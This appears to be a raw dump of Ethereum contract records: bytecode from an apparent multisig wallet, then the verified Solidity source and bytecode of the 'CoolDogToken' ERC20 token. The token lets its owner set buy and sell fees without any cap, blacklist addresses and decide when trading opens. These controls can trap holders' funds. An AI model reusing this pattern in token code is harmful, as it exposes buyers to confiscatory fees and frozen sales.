c54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600160a060020a03811660009081526002602052604090205460ff1615156108a057600080fd5b600082815260016020908152604080832033600160a060020a038116855292529091205483919060ff1615156108d557600080fd5b600084815260208190526040902060030154849060ff16156108f657600080fd5b6000858152600160209081526040808320600160a060020a033316808552925291829020805460ff1916905586917ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e9905160405180910390a35b5b505b50505b5050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b6005548110156109f6578380156109bc575060008181526020819052604090206003015460ff16155b806109e057508280156109e0575060008181526020819052604090206003015460ff165b5b156109ed576001820191505b5b600101610993565b5b5092915050565b30600160a060020a031633600160a060020a0316141515610a1e57600080fd5b600160a060020a038116600090815260026020526040902054819060ff1615610a4657600080fd5b81600160a060020a0381161515610a5c57600080fd5b6003805490506001016004546032821180610a7657508181115b80610a7f575080155b80610a88575081155b15610a9257600080fd5b600160a060020a0385166000908152600260205260409020805460ff191660019081179091556003805490918101610aca83826116df565b916000526020600020900160005b8154600160a060020a03808a166101009390930a8381029102199091161790915590507ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b600080805b600354811015610bbf5760008481526001602052604081206003805491929184908110610b6157fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610ba3576001820191505b600454821415610bb65760019250610bbf565b5b600101610b38565b5b5050919050565b6000805b600354811015610c3f5760008381526001602052604081206003805491929184908110610bf457fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610c36576001820191505b5b600101610bcb565b5b50919050565b6000602081905290815260409020805460018201546003830154600160a060020a0390921692909160029091019060ff1684565b610c82611733565b6003805480602002602001604051908101604052809291908181526020018280548015610cd857602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610cba575b505050505090505b90565b610ceb611733565b610cf3611733565b600080600554604051805910610d065750595b908082528060200260200182016040525b50925060009150600090505b600554811015610d9e57858015610d4c575060008181526020819052604090206003015460ff16155b80610d705750848015610d70575060008181526020819052604090206003015460ff165b5b15610d955780838381518110610d8357fe5b60209081029091010152600191909101905b5b600101610d23565b878703604051805910610dae5750595b908082528060200260200182016040525b5093508790505b86811015610e0557828181518110610dda57fe5b906020019060200201518489830381518110610df257fe5b602090810290910101525b600101610dc6565b5b505050949350505050565b610e19611733565b610e21611733565b6003546000908190604051805910610e365750595b908082528060200260200182016040525b50925060009150600090505b600354811015610f195760008581526001602052604081206003805491929184908110610e7c57fe5b906000526020600020900160005b9054600160a060020a036101009290920a900416815260208101919091526040016000205460ff1615610f10576003805482908110610ec557fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316838381518110610ef157fe5b600160a060020a03909216602092830290910190910152600191909101905b5b600101610e53565b81604051805910610f275750595b908082528060200260200182016040525b509350600090505b81811015610f8a57828181518110610f5457fe5b90602001906020020151848281518110610f6a57fe5b600160a060020a039092166020928302909101909101525b600101610f40565b5b505050919050565b60055481565b30600160a060020a031633600160a060020a0316141515610fb957600080fd5b600354816032821180610fcb57508181115b80610fd4575080155b80610fdd575081155b15610fe757600080fd5b60048390557fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a8360405190815260200160405180910390a15b5b50505b50565b33600160a060020a03811660009081526002602052604090205460ff16151561104f57600080fd5b6000828152602081905260409020548290600160a060020a0316151561107457600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff16156110a857600080fd5b6000858152600160208181526040808420600160a060020a033316808652925292839020805460ff191690921790915586917f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef905160405180910390a36109508561141c565b5b5b50505b505b5050565b60006111268484846115e0565b905061113181611027565b5b9392505050565b603281565b60045481565b600030600160a060020a031633600160a060020a031614151561116657600080fd5b600160a060020a038316600090815260026020526040902054839060ff16151561118f57600080fd5b600160a060020a038316600090815260026020526040902054839060ff16156111b757600080fd5b600092505b60035483101561125f5784600160a060020a03166003848154811015156111df57fe5b906000526020600020900160005b9054906101000a9004600160a060020a0316600160a060020a03161415611253578360038481548110151561121e57fe5b906000526020600020900160005b6101000a815481600160a060020a030219169083600160a060020a0316021790555061125f565b5b6001909201916111bc565b600160a060020a03808616600081815260026020526040808220805460ff199081169091559388168252908190208054909316600117909255907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b90905160405180910390a283600160a060020a03167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b6000825182603282118061131857508181115b80611321575080155b8061132a575081155b1561133457600080fd5b600092505b84518310156113fa576002600086858151811061135257fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16806113a0575084838151811061138b57fe5b90602001906020020151600160a060020a0316155b156113aa57600080fd5b6001600260008786815181106113bc57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790555b600190920191611339565b600385805161140d929160200190611757565b5060048490555b5b5050505050565b33600160a060020a03811660009081526002602052604081205490919060ff16151561144757600080fd5b600083815260016020908152604080832033600160a060020a038116855292529091205484919060ff16151561147c57600080fd5b600085815260208190526040902060030154859060ff161561149d57600080fd5b6114a686610b33565b156115d3576000868152602081905260409081902060038101805460ff19166001908117909155815490820154919750600160a060020a03169160028801905180828054600181600116156101000203166002900480156115485780601f1061151d57610100808354040283529160200191611548565b820191906000526020600020905b81548152906001019060200180831161152b57829003601f168201915b505091505060006040518083038185876187965a03f1925050501561159957857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a26115d3565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260038501805460ff191690555b5b5b5b505b50505b505050565b600083600160a060020a03811615156115f857600080fd5b600554915060806040519081016040908152600160a060020a0387168252602080830187905281830186905260006060840181905285815290819052208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151816002019080516116839291602001906117cc565b506060820151600391909101805460ff191691151591909117905550600580546001019055817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b8154818355818115116108715760008381526020902061087191810190830161184b565b5b505050565b8154818355818115116108715760008381526020902061087191810190830161184b565b5b505050565b60206040519081016040526000815290565b60206040519081016040526000815290565b8280548282559060005260206000209081019282156117bb579160200282015b828111156117bb578251825473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039190911617825560209290920191600190910190611777565b5b506117c892915061186c565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061180d57805160ff191683800117855561183a565b8280016001018555821561183a579182015b8281111561183a57825182559160200191906001019061181f565b5b506117c892915061184b565b5090565b610ce091905b808211156117c85760008155600101611851565b5090565b90565b610ce091905b808211156117c857805473ffffffffffffffffffffffffffffffffffffffff19168155600101611872565b5090565b905600a165627a7a72305820a54c04a04846ca6418dc586ad950eab33561dae56688e00434cd0971e88e4b730029
{"success": true, "error": null, "results": {}}
7,282
0x6e08e6d8d38ada3e37148379184c6aa98c895a42
/** *Submitted for verification at Etherscan.io on 2022-04-11 */ // SPDX-License-Identifier: Unlicensed //TG:https://t.me/cooldogtoken //100%Stealth pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CDT is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "CoolDogToken"; string private constant _symbol = "CDT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 3; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 3; uint256 private _taxFeeOnSell = 7; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _marketingAddress ; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1500 * 10**9; uint256 public _maxWalletSize = 3000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _marketingAddress = payable(_msgSender()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { require(!tradingOpen); tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function toggleSwap(bool _swapEnabled) external onlyOwner{ swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount > 1500 * 10**9 ); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610554578063dd62ed3e14610574578063ea1644d5146105ba578063f2fde38b146105da57600080fd5b8063a2a957bb146104cf578063a9059cbb146104ef578063bfd792841461050f578063c3c8cd801461053f57600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104af57600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f73660046118ec565b6105fa565b005b34801561020a57600080fd5b5060408051808201909152600c81526b21b7b7b62237b3aa37b5b2b760a11b60208201525b60405161023c91906119b1565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a06565b610699565b604051901515815260200161023c565b34801561028157600080fd5b50601354610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50655af3107a40005b60405190815260200161023c565b3480156102dc57600080fd5b506102656102eb366004611a32565b6106b0565b3480156102fc57600080fd5b506102c260175481565b34801561031257600080fd5b506040516009815260200161023c565b34801561032e57600080fd5b50601454610295906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611a73565b610719565b34801561036e57600080fd5b506101fc61037d366004611aa0565b610764565b34801561038e57600080fd5b506101fc6107ac565b3480156103a357600080fd5b506102c26103b2366004611a73565b6107d9565b3480156103c357600080fd5b506101fc6107fb565b3480156103d857600080fd5b506101fc6103e7366004611abb565b61086f565b3480156103f857600080fd5b506102c260155481565b34801561040e57600080fd5b506102c261041d366004611a73565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610295565b34801561045957600080fd5b506101fc610468366004611aa0565b6108b0565b34801561047957600080fd5b506102c260165481565b34801561048f57600080fd5b5060408051808201909152600381526210d11560ea1b602082015261022f565b3480156104bb57600080fd5b506101fc6104ca366004611abb565b61090f565b3480156104db57600080fd5b506101fc6104ea366004611ad4565b61093e565b3480156104fb57600080fd5b5061026561050a366004611a06565b61097c565b34801561051b57600080fd5b5061026561052a366004611a73565b60106020526000908152604090205460ff1681565b34801561054b57600080fd5b506101fc610989565b34801561056057600080fd5b506101fc61056f366004611b06565b6109bf565b34801561058057600080fd5b506102c261058f366004611b8a565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101fc6105d5366004611abb565b610a60565b3480156105e657600080fd5b506101fc6105f5366004611a73565b610a8f565b6000546001600160a01b0316331461062d5760405162461bcd60e51b815260040161062490611bc3565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157610651611bf8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d81611c24565b915050610630565b5050565b60006106a6338484610b79565b5060015b92915050565b60006106bd848484610c9d565b61070f843361070a85604051806060016040528060288152602001611d3c602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061118a565b610b79565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161062490611bc3565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161062490611bc3565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107cc57600080fd5b476107d6816111c4565b50565b6001600160a01b0381166000908152600260205260408120546106aa906111fe565b6000546001600160a01b031633146108255760405162461bcd60e51b815260040161062490611bc3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108995760405162461bcd60e51b815260040161062490611bc3565b65015d3ef7980081116108ab57600080fd5b601555565b6000546001600160a01b031633146108da5760405162461bcd60e51b815260040161062490611bc3565b601454600160a01b900460ff16156108f157600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109395760405162461bcd60e51b815260040161062490611bc3565b601755565b6000546001600160a01b031633146109685760405162461bcd60e51b815260040161062490611bc3565b600893909355600a91909155600955600b55565b60006106a6338484610c9d565b6012546001600160a01b0316336001600160a01b0316146109a957600080fd5b60006109b4306107d9565b90506107d681611282565b6000546001600160a01b031633146109e95760405162461bcd60e51b815260040161062490611bc3565b60005b82811015610a5a578160056000868685818110610a0b57610a0b611bf8565b9050602002016020810190610a209190611a73565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5281611c24565b9150506109ec565b50505050565b6000546001600160a01b03163314610a8a5760405162461bcd60e51b815260040161062490611bc3565b601655565b6000546001600160a01b03163314610ab95760405162461bcd60e51b815260040161062490611bc3565b6001600160a01b038116610b1e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bdb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610c3c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d015760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610d635760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610dc55760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610df157506000546001600160a01b03838116911614155b1561108357601454600160a01b900460ff16610e8a576000546001600160a01b03848116911614610e8a5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b601554811115610edc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1e57506001600160a01b03821660009081526010602052604090205460ff16155b610f765760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610624565b6014546001600160a01b03838116911614610fac5760165481610f98846107d9565b610fa29190611c3d565b10610fac57600080fd5b6000610fb7306107d9565b601754601554919250821015908210610fd05760155491505b808015610fe75750601454600160a81b900460ff16155b801561100157506014546001600160a01b03868116911614155b80156110165750601454600160b01b900460ff165b801561103b57506001600160a01b03851660009081526005602052604090205460ff16155b801561106057506001600160a01b03841660009081526005602052604090205460ff16155b156110805761106e82611282565b47801561107e5761107e476111c4565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110c557506001600160a01b03831660009081526005602052604090205460ff165b806110f757506014546001600160a01b038581169116148015906110f757506014546001600160a01b03848116911614155b156111045750600061117e565b6014546001600160a01b03858116911614801561112f57506013546001600160a01b03848116911614155b1561114157600854600c55600954600d555b6014546001600160a01b03848116911614801561116c57506013546001600160a01b03858116911614155b1561117e57600a54600c55600b54600d555b610a5a848484846113fc565b600081848411156111ae5760405162461bcd60e51b815260040161062491906119b1565b5060006111bb8486611c55565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610695573d6000803e3d6000fd5b60006006548211156112655760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b600061126f61142a565b905061127b838261144d565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ca576112ca611bf8565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611323573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113479190611c6c565b8160018151811061135a5761135a611bf8565b6001600160a01b0392831660209182029290920101526013546113809130911684610b79565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113b9908590600090869030904290600401611c89565b600060405180830381600087803b1580156113d357600080fd5b505af11580156113e7573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806114095761140961148f565b6114148484846114bd565b80610a5a57610a5a600e54600c55600f54600d55565b60008060006114376115b4565b9092509050611446828261144d565b9250505090565b600061127b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f0565b600c5415801561149f5750600d54155b156114a657565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114cf8761161e565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611501908761167b565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461153090866116bd565b6001600160a01b0389166000908152600260205260409020556115528161171c565b61155c8483611766565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115a191815260200190565b60405180910390a3505050505050505050565b6006546000908190655af3107a40006115cd828261144d565b8210156115e757505060065492655af3107a400092509050565b90939092509050565b600081836116115760405162461bcd60e51b815260040161062491906119b1565b5060006111bb8486611cfa565b600080600080600080600080600061163b8a600c54600d5461178a565b925092509250600061164b61142a565b9050600080600061165e8e8787876117df565b919e509c509a509598509396509194505050505091939550919395565b600061127b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061118a565b6000806116ca8385611c3d565b90508381101561127b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b600061172661142a565b90506000611734838361182f565b3060009081526002602052604090205490915061175190826116bd565b30600090815260026020526040902055505050565b600654611773908361167b565b60065560075461178390826116bd565b6007555050565b60008080806117a4606461179e898961182f565b9061144d565b905060006117b7606461179e8a8961182f565b905060006117cf826117c98b8661167b565b9061167b565b9992985090965090945050505050565b60008080806117ee888661182f565b905060006117fc888761182f565b9050600061180a888861182f565b9050600061181c826117c9868661167b565b939b939a50919850919650505050505050565b600082600003611841575060006106aa565b600061184d8385611d1c565b90508261185a8583611cfa565b1461127b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b634e487b7160e01b600052604160045260246000fd5b6001600160a